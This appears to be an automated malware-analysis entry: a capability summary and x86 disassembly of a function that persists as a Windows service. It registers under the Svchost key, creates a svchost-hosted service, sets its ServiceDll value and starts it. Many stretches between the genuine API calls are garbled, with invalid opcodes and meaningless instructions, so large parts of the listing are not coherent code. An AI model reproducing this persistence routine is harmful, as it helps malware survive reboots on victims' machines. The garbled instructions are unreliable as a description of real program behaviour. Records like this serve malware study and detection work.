Function at 0x414450
Capabilities:
Create service
Get common file path
Modify service
Persist via windows service
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5df29c
mov eax, dword fs:[0]
push eax
sub esp, 0x298
mov eax, dword [0x676314]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
mov dword [ebp - 0x27c], eax
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x274], eax
xor eax, eax
mov dword [ebp - 0x268], esi
mov dword [ebp - 0x21c], 7
mov dword [ebp - 0x220], 0
mov word [ebp - 0x230], ax
cmp word [edx], ax
jne 0x4144c5
xor ecx, ecx
jmp 0x4144e5
mov ecx, edx
lea esi, [ecx + 2]
nop word [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4144d0
sub ecx, esi
mov esi, dword [ebp - 0x268]
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x230]
call fcn.00402650
lea eax, [ebp - 0x264]
mov dword [ebp - 4], 0
push eax
push 3
push 0
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionSvchost
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 0x264], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x4145c3
mov edx, esi
lea ecx, [edx + 2]
nop dword [eax + eax]
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x414530
sub edx, ecx
lea ecx, [ebp - 0x230]
sar edx, 1
cmp dword [ebp - 0x21c], 8
cmovae ecx, dword [ebp - 0x230]
lea eax, [edx*2 + 2]
push eax
push esi
push 7
push 0
push ecx
push dword [ebp - 0x264]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x4145c3
push dword [ebp - 0x264]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.00473856
test al, al
je 0x41459e
call 0x20417702
or edx, dword [ebx - 0x1f]
invalid
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov ebx, eax
mov dword [ebp - 0x280], ebx
test ebx, ebx
jne 0x414603
push 0x7a
call fcn.004755bf
add esp, 4
xor esi, esi
mov ecx, dword [ebp - 0x21c]
cmp ecx, 8
jb 0x4145e3
inc ecx
push ecx
push dword [ebp - 0x230]
lea ecx, [ebp - 0x230]
call fcn.00402750
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0046ce06
mov esp, ebp
pop ebp
ret 0x14
push 0x208
lea eax, [ebp - 0x218]
push 0
push eax
call fcn.004830b0
add esp, 0xc
lea ecx, [ebp - 0x248]
push 0x5e87f0
call fcn.00403b30
lea ecx, [ebp - 0x2a4]
mov byte [ebp - 4], 1
call fcn.00464ae4
lea ecx, [ebp - 0x2a4]
mov byte [ebp - 4], 2
call fcn.00464bb1
test eax, eax
lea eax, [ebp - 0x218]
push 0x104
push eax
je 0x41465f
call dword [sym.imp.KERNEL32.dll_GetSystemWow64DirectoryW]
jmp 0x414665
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x248]
call fcn.00403dc0
push str._svchost.exe__k
lea ecx, [ebp - 0x248]
call fcn.0040aae0
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x230]
push eax
lea ecx, [ebp - 0x248]
call fcn.00405600
cmp dword [ebp - 0x234], 8
lea eax, [ebp - 0x248]
push 0
cmovae eax, dword [ebp - 0x248]
push 0
push 0
push 0
push 0
push eax
push 1
push 2
push 0x20
push 0xf01ff
push edi
push esi
push ebx
call dword [sym.imp.ADVAPI32.dll_CreateServiceW]
mov ebp, 0xfffffdcc
or byte [ebp - 0x2477b], cl
jmp [edx]
adc eax, sym.imp.ADVAPI32.dll_CreateServiceW
mov dword [ebp - 0x270], eax
test eax, eax
jne 0x4146eb
push 0x7b
call fcn.004755bf
add esp, 4
xor esi, esi
jmp 0x414960
call fcn.004732ad
test al, al
je 0x41470d
mov dl, 0xea
mov esi, 0x77b80af7
adc eax, 0x9fce08fe
jne 0x4146cb
adc eax, 0x11abf763
ret 0x488d
call fcn.00473742
test al, al
je 0x41472d
jecxz 0x414781
rcl cl, cl
jns 0x41469e
and dh, 0x7d
out 0x7d, al
pop edi
sub ebx, esp
sub al, 0x65
push esp
rdmsr
push ecx
jne 0x414795
arpl ax, bp
dec ecx
and al, 0xe8
jnp 0x41471b
call fcn.004732ad
test al, al
je 0x41474d
add eax, 0x74c08400
pop ss
mov dl, 0x14
push 0x4a
movsd dword es:[edi], dword [esi]
les esi, [ecx - 0x70862a3a]
xchg edi, eax
sub eax, 0x52be092f
mov dl, 0xce
sbb byte [ebx], al
push ebx
xlatb
mov eax, dword [ebp - 0x274]
mov dword [ebp - 0x278], eax
lea eax, [ebp - 0x278]
push eax
push 1
push dword [ebp - 0x270]
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2W]
call fcn.0047362e
test al, al
je 0x414797
mov ebx, dword [ecx]
rol dword [ebx], 1
inc esi
inc edx
rcl cl, cl
out 0x83, al
push cs
int 0x64
and edx, ebx
or dword [esi], 0xffffffcd
and edx, ebx
xchg esi, eax
aas
xchg ecx, eax
sub dword [esp + eax*4 - 0x7cac2b2a], eax
push cs
fidiv dword [0x7ee822e7]
in eax, dx
add eax, 0x74c08400
pop ss
out 0x22, eax
call fcn.0047351a
test al, al
je 0x4147b7
sar ecx, 1
and byte [eax + 0x6c], cl
lahf
popfd
invalid
call fcn.004733c1
test al, al
je 0x4147d7
dec ebx
lodsb al, byte [esi]
aas
push esp
xchg esi, eax
mov dh, 0xf0
mov byte [eax - 0x2a], bl
insd dword es:[edi], dx
or ecx, edi
invalid
push str.SYSTEMCurrentControlSetServices_
lea ecx, [ebp - 0x260]
call fcn.00403b30
push dword [ebp - 0x268]
lea ecx, [ebp - 0x260]
mov byte [ebp - 4], 3
call fcn.0040aae0
cmp dword [ebp - 0x24c], 8
lea ecx, [ebp - 0x264]
push ecx
push 0xf003f
lea eax, [ebp - 0x260]
cmovae eax, dword [ebp - 0x260]
push 0
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x414953
call fcn.0047337c
test al, al
je 0x414852
and dword [bp + 0x2ea3], edx
movsd dword es:[edi], dword [esi]
test eax, 0x784c312c
test dword [ebx - 0x1c], 0x3ebcfc3e
mov ebp, dword [edi + 7]
out 0xf5, al
call fcn.0047337c
test al, al
je 0x414875
int 0x4e
loop 0x4148cc
sbb byte [ebx], ah
cmp eax, 0x5999da1d
mov esi, 0x6d022a7f
dec edx
scasd eax, dword es:[edi]
mov byte [0xe41a3125], al
sahf
invalid
call fcn.004736b8
test al, al
je 0x41488f
in eax, dx
mov ebp, 0xb0a76f86
pop edi
outsd dx, dword [esi]
xchg ecx, eax
mov edx, 0xd95c1e0d
ror dword [edi - 0x1151179c], 5
add byte [eax + eax*8 + 0x77d91774], al
xchg dword [ebx + 0x44119e0a], ebp
jmp 0x414894
call fcn.00473742
test al, al
je 0x4148af
fnstenv [edi - 0x79]
stosd dword es:[edi], eax
or bl, byte [esi - 0xd14bbef]
invalid
lea eax, [ebp - 0x26c]
mov dword [ebp - 0x26c], 0
push eax
push str.Parameters
push dword [ebp - 0x264]
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
adc eax, sym.imp.ADVAPI32.dll_RegCreateKeyW
test eax, eax
jne 0x414953
mov ecx, dword [ebp - 0x27c]
cmp dword [ecx + 0x14], 8
mov eax, dword [ecx + 0x10]
jb 0x4148e6
mov ecx, dword [ecx]
lea eax, [eax*2 + 2]
push eax
push ecx
push 2
push 0
push str.ServiceDll
push dword [ebp - 0x26c]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x414953
mov ebx, dword [ebp - 0x270]
push eax
push eax
push ebx
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
test eax, eax
jne 0x414925
push 0x7c
call fcn.004755bf
add esp, 4
push dword [ebp - 0x264]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x26c]
call esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push ebx
call esi
push dword [ebp - 0x280]
call esi
mov esi, 1
jmp 0x414955
xor esi, esi
lea ecx, [ebp - 0x260]
call fcn.00448f80
lea ecx, [ebp - 0x2a4]
call fcn.00464af7
lea ecx, [ebp - 0x248]
call fcn.00448f80
jmp 0x4145c5